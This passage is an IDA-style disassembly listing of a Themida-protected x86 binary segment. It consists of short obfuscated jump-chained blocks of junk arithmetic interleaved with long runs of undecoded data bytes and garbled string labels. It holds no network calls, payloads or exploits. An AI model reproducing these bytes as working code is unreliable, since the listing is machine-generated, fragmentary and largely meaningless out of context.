		dd 5250514Dh, 0FFD7A9E9h, 0C6015CFFh, 0FE2DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E229:				; CODE XREF: Themida_:00568717j
		add	dh, 78h
		xor	bl, dh
		jmp	loc_568662
; ---------------------------------------------------------------------------
		db 1
		dd 32B8E9F9h, 48B0000h,	3FF2E924h, 8B510000h, 89512414h
		dd 4C181E1h, 83000000h,	40E904C1h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E257:				; CODE XREF: Themida_:0055B88Bj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 53242160h
		jmp	loc_5616DB
; ---------------------------------------------------------------------------
aGSR		db '-Õ £',7,'éÛ',0
		dd 14895C00h, 286E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E27A:				; CODE XREF: Themida_:0056A375j
		mov	ecx, 0
		sub	ecx, 254000B1h
		add	ecx, ebx
		add	ecx, 254000B1h
		mov	[ecx], al
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5659BE
; ---------------------------------------------------------------------------


loc_55E298:				; CODE XREF: Themida_:0055EF2Cj
		sub	ebp, 280B888Ah
		mov	ecx, ebp
		pop	ebp
		jmp	loc_561470
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 0E95Eh, 0C3810000h, 34C86D8Dh, 698668h, 947DE900h, 8B660000h
		dd 5455240Ch, 9E6AE9h, 81C50100h, 0E63BF5EDh, 0D5B95115h
		dd 490CC563h, 63568h, 0CD2E900h, 6EE90000h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E2E7:				; CODE XREF: Themida_:0056B77Dj
		mov	ebx, 2AB53861h
		push	edx
		mov	edx, 37E862E0h
		neg	edx
		push	ecx
		mov	ecx, 0DE8CCEE1h
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	ebx
		mov	ebx, 15424A67h
		jmp	loc_568A27
; ---------------------------------------------------------------------------
		dd 592434FFh, 4C481h, 0D1680000h, 8900004Fh, 89572434h
		dd 95E950E7h, 500000D9h, 0CA4C17B8h, 75002534h,	0D8F70A8Eh
		dd 9460E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E349:				; CODE XREF: Themida_:00562F2Cj
		add	ecx, 0EEE70C2Bh
		push	ecx
		mov	ecx, 551160C0h
		xor	ecx, 578F3902h
		shr	ecx, 7
		xor	ecx, 64179FEh
		jmp	loc_55D20A
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0DCh
		dd 0C14BC67Ch, 0F68106EEh, 252FF5Dh, 835EF501h,	2C8704EDh
		dd 0C895C24h, 582AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E38A:				; CODE XREF: Themida_:0056D656j
		xchg	edi, [esp]
		push	edi
		push	ecx
		mov	edi, [esp]
		jmp	loc_563AFF
; ---------------------------------------------------------------------------
		db 51h
		dd 0B17D1968h, 54AFE959h, 815A0000h, 4ECh, 240C8900h, 0D3D1E9h
		dd 1BE95B00h, 0FF00005Dh, 83592434h, 0AAB404C4h, 0C4E9FC30h
		dd 100002Ch, 315F5FFDh,	0C5815AD5h, 31FD1642h, 8A87C581h
		dd 0EE017B23h, 81242C8Bh, 4C4h,	4B85000h, 1000000h, 348758C6h
		dd 0A94DE924h, 0C7810000h, 31A337DFh, 0F15AE9h,	0E6895600h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 6A8AB951h,	0E9500322h
		dd 119E6h
; ---------------------------------------------------------------------------


loc_55E420:				; CODE XREF: Themida_:00565676j
		mov	eax, 1800A96h
		sub	eax, 2381B2Eh
		shr	eax, 4
		not	eax
		sub	eax, 0F00B8105h
		add	ecx, 5B1912C8h
		add	ecx, eax
		jmp	loc_56756A
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 83h
		dd 877D7123h, 53FCE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E44E:				; CODE XREF: Themida_:0055D834j
		push	edx
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		jmp	loc_568CE4
; ---------------------------------------------------------------------------


loc_55E460:				; CODE XREF: Themida_:005672D6j
		xor	edi, [esp]
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56AA54
; ---------------------------------------------------------------------------
		db 1
		dd 10D52DE8h, 2D5D278Ch, 37161B36h, 0D9B9E9h, 243C8700h
		dd 0C11EE9h, 0EC835800h, 24148904h, 1B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E49D:				; CODE XREF: Themida_:00563E42j
		sub	ecx, 4D6CCB88h
		xor	edx, ecx
		jmp	loc_5679E6
; ---------------------------------------------------------------------------
aZ4Sfo		db '‡4$\éF®',0
		dw 5600h
		dd 0BFE5A3BEh, 5EF22914h, 815AD589h, 0C71577F5h, 9215E94Dh
		dd 97B70000h, 45BF930h,	2CC8003Ch, 240C8B3Ch, 4C481h, 52530000h
		dd 0E2E9BCB6h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E4E7:				; CODE XREF: Themida_:0056B5F9j
		mov	eax, [esp]
		jmp	loc_56A064
; ---------------------------------------------------------------------------


loc_55E4EF:				; CODE XREF: Themida_:0056DE98j
		mov	esi, [esp]
		push	edx
		jmp	loc_56D926
; ---------------------------------------------------------------------------
		dd 0E907E9C1h, 0FFFFE276h, 7BC868h, 24248900h, 4240483h
		dd 0FF2434FFh, 55E92434h, 89000100h, 4BA2414h, 56000000h
		dd 4BD0BA52h, 13E9145Dh, 0FF00002Bh, 669D1C77h,	241CD359h
		dd 0D01BE99Ch, 0C483FFFFh, 5D80104h, 293C6F74h,	0DC8CE95Bh
		dd 0EC83FFFFh, 24148904h, 0D12014B2h, 0FFEC79E9h, 89565AFFh
		dd 4C681E6h, 83000000h,	343304EEh, 24343124h, 8B243433h
		dd 2C892424h, 1BD24h, 0E9210000h, 68242C8Bh, 7D8h, 54241C89h
		dd 83241C8Bh, 0C38104C4h, 4, 3FE95557h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E59B:				; CODE XREF: Themida_:0056F98Aj
		mov	esi, 3E42A90h
		sub	ebx, esi
		pop	esi
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		imul	ecx
		jmp	loc_56B774
; ---------------------------------------------------------------------------
aZsd		db 'Zé„Þ',0
		dd 8BC80100h, 0E951240Ch, 0F5CBh, 0AAE3E95Ch, 0FE510000h
		dd 0C8B240Ch, 4C48124h,	0F6000000h, 7B353D1h, 0F604E3C0h
		dd 0C0CBFED3h, 0B25207E3h, 0D0C2FE6Eh, 0D7EA80EAh, 8002EAC0h
		dd 0D3005DC2h, 0FFD5F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E601:				; CODE XREF: Themida_:0055B58Aj
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		not	eax
		inc	eax
		jmp	loc_56A84E
; ---------------------------------------------------------------------------
aQsQ		db 'Qé[Ÿ',0
		align 2
		dw 4BEh
		dd 81000000h, 3D6F0BC7h, 81F70178h, 3D6F0BEFh, 24348B78h
		dd 8904EC83h, 5954240Ch, 99E9h,	2DD00100h, 9F164EAh, 7A23E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E64A:				; CODE XREF: Themida_:0056650Cj
		pop	ebp
		jmp	loc_563984
; ---------------------------------------------------------------------------
		dd 42474FFh, 5124148Bh,	0C1815954h, 4, 4C181h, 0FF510000h
		dd 59042474h, 7BEEE9h, 80C7FE00h, 0C78063E7h, 0E9D7F680h
		dd 7DFAh, 14C0BE56h, 0C2BB180Fh, 31180F14h, 24348BF3h
		dd 104C483h, 34875BDEh,	0F665C24h, 9C2404BBh, 0FFCEB0E9h
		dd 510E68FFh, 1C890000h, 14E95424h
		db 0F4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E6B3:				; CODE XREF: Themida_:00565C45j
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esp, 4
		jmp	loc_55FFB9
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 4A74C181h, 0ABE97983h, 31000113h,	7EE92414h, 8F000036h
		dd 248B2404h, 87E2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E6FA:				; CODE XREF: Themida_:0056DF88j
		mov	eax, 56C322B5h
		add	edx, eax
		pop	eax
		sub	edx, edi
		push	7454h
		mov	[esp], esi
		mov	esi, 41CD596Ch
		add	esi, 14F5C949h
		sub	edx, esi
		jmp	loc_55B8D1
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 243C3124h, 8B243C33h, 34FF2424h, 0EF685824h,	0E9000056h
		dd 1D01h, 4BBh,	5BDF0100h, 2C781h, 0F1E90000h, 81FFFFF9h
		dd 0BB7ADAE9h, 0E9CD09B0h, 0A33Ah
; ---------------------------------------------------------------------------


loc_55E758:				; CODE XREF: Themida_:0056437Fj
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		push	ecx
		jmp	loc_55D15F
; ---------------------------------------------------------------------------


loc_55E767:				; CODE XREF: Themida_:0055D7BEj
		mov	bh, ah
		pop	eax
		push	321Dh
		mov	[esp], edx
		push	ecx
		mov	cl, bh
		push	ebx
		mov	bl, cl
		jmp	loc_562555
; ---------------------------------------------------------------------------
		db 0B8h, 3Fh, 79h
		dd 0D0F7114Eh, 4E794205h, 31E0E911h, 0E9480000h, 0B4D6h
		dd 82B951ADh, 2D2A784Ah, 325F428Eh, 8E05C829h, 59325F42h
		dd 0B71C9C2Dh, 0AFBA527Ah, 2934A208h, 0D8015AD0h, 11B91E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E7BD:				; CODE XREF: Themida_:00569491j
		xor	ebx, 81C36FFh
		sub	ebx, 0AE95C60h
		jmp	loc_567934
; ---------------------------------------------------------------------------


loc_55E7CE:				; CODE XREF: Themida_:0056C1AFj
		xor	ebx, 6E24947h
		push	ebx
		pop	ecx
		pop	ebx
		add	ebx, ecx
		jmp	loc_55DA06
; ---------------------------------------------------------------------------
aX3Sq		db 'X3,$éï;',0
		dw 8000h
		dd 0C5FE5EF5h, 0ED80C5FEh, 59EE004Ah, 499CE9h, 4EC8100h
		dd 89000000h, 0DD682434h, 89000046h, 0E0E92424h, 5DFFFFD7h
		dd 4EC8352h, 0B9240C89h, 4, 81595A51h, 45789DEDh, 0F9ED814Ch
		dd 815E7550h, 7E03F3C5h, 81D50136h, 7E03F3EDh, 0F9C58136h
		dd 0E95E7550h, 8BF4h, 8B2434FFh, 0C481240Ch, 4,	6925E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E856:				; CODE XREF: Themida_:005677EFj
		mov	edi, 4
		add	edx, edi
		pop	edi
		add	edx, 4
		jmp	loc_55FEF5
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 534AC0B8h, 8BC22943h, 0E9572404h, 7B45h, 4C481h, 0EC810000h
		dd 4, 83240C89h, 73E904ECh, 83FFFFE1h, 29E904C3h, 0BB000002h
		dd 5A0E3873h, 355BD829h, 2C60C681h, 2958C531h, 0C7815DEFh
		dd 757B27D4h, 0B850CF01h, 1BE83516h, 0D7316F25h, 1CD0D36h
		dd 5051EDCh, 29569EF6h,	0EB66E9C7h, 525CFFFFh, 26742BAh
		dd 0C4B0E903h, 7BBA0000h, 5300432Ch, 0DF89D389h, 0C8685A5Bh
		dd 89000046h, 5CBB241Ch, 0E971FE5Eh, 0F019h, 0BA52415Fh
		dd 4AD60979h, 2A16C281h, 0C28113C7h, 0FFFFFFFFh, 4F6BD55h
		dd 0BDE97AA4h, 81000063h, 645076F6h, 27EC2D2Eh,	6FE94D97h
		dd 5200002Fh, 119ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E931:				; CODE XREF: Themida_:0055CAD9j
		push	ebx
		pop	esi
		pop	ebx
		xchg	esi, [esp]
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 1
		push	edi
		jmp	loc_564856
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0BA520000h, 27993BCBh, 148BD129h, 13A2E924h
		dd 0C1810001h, 1F105638h, 222DE981h, 0C10103ACh, 222DC181h
		dd 0E98103ACh, 1F105638h, 219C181h, 48B5227h, 47D2E924h
		dd 3C890000h, 2DFEBF24h, 0EFC12933h, 57E78105h,	0E975E751h
		dd 0C8D8h
; ---------------------------------------------------------------------------


loc_55E99C:				; CODE XREF: Themida_:00568FB0j
		push	ebp
		jmp	loc_5603F6
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 0E9000000h, 0BA36h, 46C5CA81h, 1BE92BEAh
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E9BB:				; CODE XREF: Themida_:005688DEj
		add	edx, 29AD14A6h
		jmp	loc_56E50D
; ---------------------------------------------------------------------------


loc_55E9C6:				; CODE XREF: Themida_:0055C07Cj
		pop	ecx
		pop	edi
		mov	ebx, [esp]
		jmp	loc_569827
; ---------------------------------------------------------------------------
		dd 0AAB6C681h, 21E9FE7Ah, 8FFFFFF1h, 248B2404h,	43136824h
		dd 0C890000h, 0E4DAE924h, 0C1880000h, 0FE95A58h, 68FFFFF6h
		dd 2B2Dh, 52242489h, 4BD55h, 0EA890000h, 18DDE95Dh, 0C8B0001h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	cx
		mov	ch, al
		push	ebx
		mov	bh, dh
		mov	al, bh
		jmp	loc_560872
; ---------------------------------------------------------------------------


loc_55EA34:				; CODE XREF: Themida_:0056C0B5j
		mov	edi, 14940B2Dh
		jmp	loc_56DEFC
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 62E95105h, 5D00010Eh, 7FE7E9h, 0C8B6600h, 6C4DE924h
		dd 1C890000h, 64416824h, 0DE90000h, 4000031h, 0A12BE933h
		dd 44810000h, 36340424h, 8B5D76ECh, 0C4832414h,	2BEEE904h
		dd 48F0000h, 0EDBEE924h, 685BFFFFh, 0C70h, 54240C89h, 4C18159h
		dd 83000000h, 0E904C1h,	81FFFFCFh, 4ECh, 24348900h, 506D68h
		dd 24148900h, 302F2DBAh, 0BF575618h, 18A37A53h,	0E95FFE89h
		dd 1040Ah, 8904EC83h, 74FF241Ch, 23E90424h, 8100006Bh
		dd 4ECh, 243C8900h, 243C8B54h, 4C481h, 89560000h, 37E952E6h
		dd 81FFFFE4h, 8D0968F5h, 68575616h, 3D804532h, 0CEC7815Fh
		dd 89C27FBAh, 74CDE9FEh, 0C5B00000h, 0DE3EE9h, 241C8B00h
		dd 4C481h, 81430000h, 0CB4CFDEBh, 81DBF778h, 5807E5EBh
		dd 0EB814352h, 0E7F80E37h, 815BD901h, 4C1h, 240C3300h
		dd 5463E9h, 0E3C14300h,	0C2F38104h, 214BD460h, 0FCE95BDAh
		dd 89FFFFF5h, 0DE8958C3h, 95C1815Bh, 57385A31h,	0B355BBBFh
		dd 84CAE941h, 0C4830000h, 4EC8304h, 0BB241C89h,	4D9951D6h
		dd 8997E9h, 81D2F700h, 354171EAh, 3EAC14Ch, 0ADEA8142h
		dd 8113ECF2h, 0C256DEDh, 0E9D50119h, 0B4F1h
; ---------------------------------------------------------------------------


loc_55EB9C:				; CODE XREF: Themida_:0055F5A8j
		mov	[esp], esi
		push	4
		pop	esi
		jmp	loc_560D8E
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C1h, 50535600h, 4B8h, 0FF95E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EBBE:				; CODE XREF: Themida_:0055F525j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	bh, dl
		push	edx
		mov	dh, bh
		mov	cl, dh
		jmp	loc_56D7BA
; ---------------------------------------------------------------------------
		dw 0C15Eh
		dd 0EB8308E3h, 6EBC101h, 2DEAC381h, 81532FCFh, 1335242Ch
		dd 7CE91CB6h, 680000E3h, 6102h,	83243C89h, 2C8904ECh, 81E58924h
		dd 4C5h, 0EEFDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EC0A:				; CODE XREF: Themida_:005693BFj
		movzx	eax, al
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_569F8A
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 3E2C105h, 6D4BC281h,	0D1296EB2h, 0E9CB295Ah,	0FFFFE04Ch
		dd 24048B66h, 148B5452h, 0E6895624h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 34E95750h, 0B5FFFFDDh,	80D5F6BFh, 0EF00BFF5h
		dd 0D0C78059h, 3093E9h,	0C8DFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC76:				; CODE XREF: Themida_:0056366Fj
		push	ebx
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	3F61h
		jmp	loc_562586
; ---------------------------------------------------------------------------
aL4S9		db '‹4$éÖ9',0
		dw 8900h
		dd 58542404h, 0F539E9h
		db 0
; ---------------------------------------------------------------------------


loc_55ECA5:				; CODE XREF: Themida_:0056994Ej
		add	esi, 10830542h
		add	esi, edi
		sub	esi, 10830542h
		pop	edi
		push	64BBh
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, 564A1D8Bh
		add	esi, ebx
		sub	esi, 564A1D8Bh
		jmp	loc_56C828
; ---------------------------------------------------------------------------
		dd 8324248Bh, 69E904ECh, 66000101h, 9C2404D3h, 0FFC86CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ECE9:				; CODE XREF: Themida_:005670BBj
		sub	ebx, 228B4663h
		jmp	loc_56C095
; ---------------------------------------------------------------------------


loc_55ECF4:				; CODE XREF: Themida_:00567146j
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 33291E5Fh
		shl	ebp, 1
		shr	ebp, 2
		jmp	loc_56F194
; ---------------------------------------------------------------------------


loc_55ED0F:				; CODE XREF: Themida_:0055FCDCj
		add	dword ptr [esp+4], 7F5B308Ah
		add	[esp+4], eax
		sub	dword ptr [esp+4], 7F5B308Ah
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 56F14CCDh
		add	[esp+8], ebx
		jmp	loc_565ED4
; ---------------------------------------------------------------------------
		db 1
		dd 0E98158C1h, 4, 2474FF51h, 14E95904h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ED4B:				; CODE XREF: Themida_:0056625Aj
		sub	ebp, esi
		add	ebp, 2CC151A9h
		pop	esi
		and	eax, ebp
		jmp	loc_55FE94
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC7F5h, 89243C89h, 12E951E7h, 510000CFh,	0D349E9h
		dd 5BD82900h, 0BB535155h, 6EE330E9h, 535BD989h,	0DD89CB89h
		dd 0E801595Bh, 5D2434FFh, 8904EC83h, 0F9E9243Ch, 530000E0h
		dd 0C381E389h, 4, 0D154E9h, 98ED8000h, 8059EA20h, 0D1E99AEAh
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EDB3:				; CODE XREF: Themida_:00560B62j
		pop	ebp
		jmp	loc_56DF25
; ---------------------------------------------------------------------------


loc_55EDB9:				; CODE XREF: Themida_:00564C9Bj
		xor	ebx, edx
		jmp	loc_56CE72
; ---------------------------------------------------------------------------


loc_55EDC0:				; CODE XREF: Themida_:005701BBj
		pop	edx
		push	ebx
		mov	ebx, 13F764A5h
		xor	ebx, 13F764A1h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		jmp	loc_570530
; ---------------------------------------------------------------------------
aTs6		db 'Té6Ä',0
		align 2
		dw 0D801h
		dd 2404875Bh, 5324248Bh, 0FFF2ADE9h, 4C481FFh, 83000000h
		dd 348904ECh, 81E68924h, 4C6h, 0F3EEE900h, 5B54FFFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_562B1B
; ---------------------------------------------------------------------------
		dw 875Bh
		dd 835C243Ch, 3C8904ECh, 28BD5524h, 0E96CEC3Dh,	4DC0h
; ---------------------------------------------------------------------------


loc_55EE2C:				; CODE XREF: Themida_:0055D23Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_564257
; ---------------------------------------------------------------------------
		db 28h
		dd 24148BD1h, 0FFD88CE9h, 48B66FFh, 0C2BAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EE4A:				; CODE XREF: Themida_:0056056Ej
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		push	5A021743h
		pop	ecx
		add	ecx, 42A74607h
		jmp	loc_56F9C0
; ---------------------------------------------------------------------------


loc_55EE65:				; CODE XREF: Themida_:00563D9Bj
		xor	edx, edi
		pop	edi
		xor	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	edx, edi
		mov	edi, [esp]
		jmp	loc_56A500
; ---------------------------------------------------------------------------
		dw 558h
		dd 4, 8704E883h, 895C2404h, 0E9552434h,	0A7E0h
; ---------------------------------------------------------------------------


loc_55EE94:				; CODE XREF: Themida_:0056D739j
		xchg	esi, [esp]
		pop	esp
		add	ebp, 2
		push	ebp
		jmp	loc_56A99C
; ---------------------------------------------------------------------------
		dd 0E924348Bh, 102BDh, 8B243433h, 4892424h, 4EC8124h, 89000000h
		dd 19BF243Ch, 68175842h, 53C508DDh, 8124048Bh, 4C4h, 0E9F83100h
		dd 0A873h
; ---------------------------------------------------------------------------


loc_55EED8:				; CODE XREF: Themida_:00560B4Ej
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56E609
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Ah,	6AE3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EF15:				; CODE XREF: Themida_:00563FD2j
		mov	[esp], ecx
		push	5902h
		mov	[esp], ebp
		push	2B757021h
		pop	ebp
		add	ebp, 4A441CCFh
		jmp	loc_55E298
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8124h, 89000000h,	0FCE92404h
		db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EF43:				; CODE XREF: Themida_:00568BE5j
		xor	eax, ebx
		jmp	loc_56B129
; ---------------------------------------------------------------------------


loc_55EF4A:				; CODE XREF: Themida_:00569840j
		mov	edx, 4
		mov	edi, edx
		pop	edx
		add	esi, edi
		jmp	loc_56A430
; ---------------------------------------------------------------------------


loc_55EF59:				; CODE XREF: Themida_:0056D81Aj
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_562A59
; ---------------------------------------------------------------------------


loc_55EF6C:				; CODE XREF: Themida_:0056CB9Aj
		add	esp, 4
		push	edi
		jmp	loc_566D06
; ---------------------------------------------------------------------------


loc_55EF75:				; CODE XREF: Themida_:0055D8E3j
		push	ebx
		push	37F7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edi
		mov	edi, esp
		jmp	loc_561792
; ---------------------------------------------------------------------------
		db 89h
		dd 8B542414h, 0C4832414h, 0FBE8E904h, 4890000h,	73EE924h
		dd 0F1810000h, 3FE5022Ch, 32E8E941h, 0E9590000h, 0AF5Fh
		dd 0E9240C89h, 0EE7Ah, 8704E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EFC2:				; CODE XREF: Themida_:0056A2BCj
		add	esp, 4
		sub	ecx, 4DA67479h
		xor	ecx, 78C241FDh
		jmp	loc_55B76A
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 31h
		dd 8138F237h, 0A4F0BBC6h, 3915E914h, 8B660000h,	47E9240Ch
		dd 0F7FFFFD0h, 78DCE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EFFA:				; CODE XREF: Themida_:0056DFBCj
		sub	dword ptr [esp+4], 524E492Dh
		add	dword ptr [esp+4], 17E32005h
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 69C3375Dh
		jmp	loc_55C719
; ---------------------------------------------------------------------------
aSbi		db ']éë',0
		db 0
; ---------------------------------------------------------------------------


loc_55F025:				; CODE XREF: Themida_:0056549Fj
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	37AAh
		jmp	loc_56D607
; ---------------------------------------------------------------------------
		db 0E9h, 7, 0C5h
		dd 0E9C1FFFFh, 4E9C104h, 2778E181h, 8141719Fh, 70697CC9h
		dd 0AE98110h, 9D9C6FFh
aYmbak@Se	db 'ÍYMíª@>Â',9,'ê]ée',9,0 ; DATA XREF: Themida_:0055DCC3o
		dd 2C6BE00h, 0EE814814h, 4BBE1111h, 6C6814Eh, 3130F920h
		dd 2B01E9F1h, 73BF0000h, 81317A06h, 0AEFE6EFh, 46E930h
		dd 0C7890001h, 0CAE958h, 5A5B0000h, 39BEC681h, 0F50146BAh
		dd 5FBA525Eh, 29430E24h, 781E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F0C2:				; CODE XREF: Themida_:0056CB16j
		mov	esi, [esp]
		jmp	loc_56D4EF
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 76736824h, 34FF2CB9h, 0C811E924h, 0B951FFFFh, 2B913D02h
		dd 0C8BCD29h, 4C48124h,	81000000h, 0E63BF5C5h, 0F1D3E915h
		dd 0E668FFFFh, 89000072h, 74FF243Ch, 8F5F0424h,	248B2404h
		dd 240CFE24h, 0C443E99Ch, 5153FFFFh, 5B3754B9h,	0C1814959h
		dd 0A6A4C8B1h, 291FE9h,	243C8B00h, 0FFD835E9h, 0E18951FFh
		dd 0DA08E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F136:				; CODE XREF: Themida_:00567251j
		mov	esp, [esp]
		jmp	loc_56FDC7
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 4, 5C240C87h, 68241489h, 28591806h, 8124148Bh, 4ECh
		dd 241C8900h, 0C381E389h, 4, 0FA08E9h, 0EEBA5200h, 0E9233116h
		dd 92CEh, 0BEA12FB9h, 5FF92971h, 5B59CA29h, 5F02E9h, 0D9BB5300h
		dd 2D09932Fh, 42E97ADEh, 8446E305h, 2DD8294Fh, 4F8446E3h
		dd 0FF75E9h, 68575300h,	0DAB607Ch, 10C65E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F1AD:				; CODE XREF: Themida_:0056F84Fj
		sub	ebx, edi
		jmp	loc_561E26
; ---------------------------------------------------------------------------
		dd 5662BDBBh, 0EEBF570Ch, 0E9579520h, 15B1h, 88A7EC80h
		dd 0ED8058E5h, 15E580E5h, 5EEE9h, 0C9685E00h, 89000026h
		dd 92BB241Ch, 687C0040h, 6B75h,	0BD242C89h, 7C00408Eh
		dd 15DEB29h, 0C6815BDEh, 4, 8B243487h, 68582424h, 5564h
		dd 50241C89h, 27796852h, 505A00AEh, 3E5FFDB8h, 371E93Eh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55F21E:				; CODE XREF: Themida_:00562AA6j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	2B29h
		mov	[esp], ebp
		push	esi
		mov	esi, 3442377Eh
		jmp	loc_55D6ED
; ---------------------------------------------------------------------------
		dd 0F53FE950h, 0C89FFFFh, 0B222E924h, 0C3310000h, 8124048Bh
		dd 4C4h, 20EE900h, 0C870000h, 0E9575C24h, 0FB02h, 8244C29h
		dd 8B2434FFh, 0C481240Ch, 4, 104C483h, 81042454h, 0F5042444h
		dd 0FF1EBA56h, 575A2434h, 0C781E789h, 4, 4C781h, 3C870000h
		dd 148B5C24h, 4C48124h,	0E9000000h, 0E81Eh, 0D586D2F6h
		dd 6681F580h, 3DC3E950h, 5F210000h, 78E95B1Ch, 8100000Ah
		dd 4C4h, 4EC8100h, 89000000h, 44E92404h, 570000C6h, 7B060EBFh
		dd 66EFE95Ah, 0DDF70000h, 9EA6ED81h, 0E4E9A0C9h, 5000006Dh
		dd 0F4F4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F2ED:				; CODE XREF: Themida_:0056793Bj
		sub	ebx, 645870B6h
		sub	ebx, 5FB93E8Dh
		add	ebx, edx
		add	ebx, 5FB93E8Dh
		push	eax
		mov	eax, 3ADA5703h
		jmp	loc_57058A
; ---------------------------------------------------------------------------
		dd 0E9242C87h, 0FD4Ah, 4247C01h, 0E9243C8Bh, 0EE1h, 5F5EF301h
		dd 5C241C87h, 0B00E9C1h, 0F5840FC0h, 68FFFFD4h,	4D51h
		dd 89241489h, 4C281E2h,	81000000h, 4EAh, 24143300h, 33241431h
		dd 895C2414h, 0EC83241Ch, 24048904h, 0AD4F15B8h, 0C4E9567Bh
		dd 100005Fh, 88E9EFh, 0E6810001h, 299C1D7Dh, 0C744E9h
		dd 0DBBBB00h, 0BFBF716Ah, 31716A0Dh, 241C8BDFh,	50E38953h
